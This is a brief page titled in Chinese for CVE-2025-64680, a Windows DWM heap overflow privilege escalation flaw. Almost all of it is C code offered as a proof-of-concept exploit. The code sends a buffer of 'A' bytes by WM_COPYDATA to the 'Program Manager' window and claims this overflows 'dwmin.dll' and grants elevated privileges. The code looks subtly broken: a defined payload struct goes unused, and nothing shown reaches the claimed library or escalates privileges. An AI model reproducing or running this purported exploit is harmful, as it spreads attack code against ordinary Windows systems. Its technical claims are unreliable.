CVE-2025-64680: Windows DWM Core Library堆缓冲区溢出权限提升漏洞

// CVE-2025-64680 PoC - Windows DWM Core Library Heap Buffer Overflow // This PoC demonstrates the vulnerability pattern (educational purposes only) #include <windows.h> #include <winuser.h> #include <stdio.h> // Malicious payload structure to trigger overflow typedef struct { DWORD dwMagic; DWORD dwSize; PVOID pData; } DWM_PAYLOAD_HEADER, *PDWM_PAYLOAD_HEADER; // Trigger the vulnerability through DWM API BOOL TriggerDWMOverflow(LPSTR lpTargetWindow, DWORD dwOverflowSize) { HWND hwndTarget = FindWindowA(NULL, lpTargetWindow); if (!hwndTarget) { hwndTarget = GetDesktopWindow(); } // Allocate buffer with controlled size PBYTE pBuffer = (PBYTE)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, dwOverflowSize); if (!pBuffer) return FALSE; // Fill buffer with pattern to trigger overflow memset(pBuffer, 0x41, dwOverflowSize - 1); // Send specially crafted message to DWM // This triggers the heap overflow in dwmin.dll COPYDATASTRUCT cds; cds.dwData = 0x1337; cds.cbData = dwOverflowSize; cds.lpData = pBuffer; SendMessageTimeoutA(hwndTarget, WM_COPYDATA, (WPARAM)hwndTarget, (LPARAM)&cds, SMTO_ABORTIFHUNG, 5000, NULL); HeapFree(GetProcessHeap(), 0, pBuffer); return TRUE; } int main(int argc, char* argv[]) { printf("[*] CVE-2025-64680 PoC\n"); printf("[*] Target: Windows DWM Core Library\n"); DWORD dwSize = 0x10000; // Large buffer size TriggerDWMOverflow("Program Manager", dwSize); printf("[*] Payload sent. Check for privilege escalation.\n"); return 0; }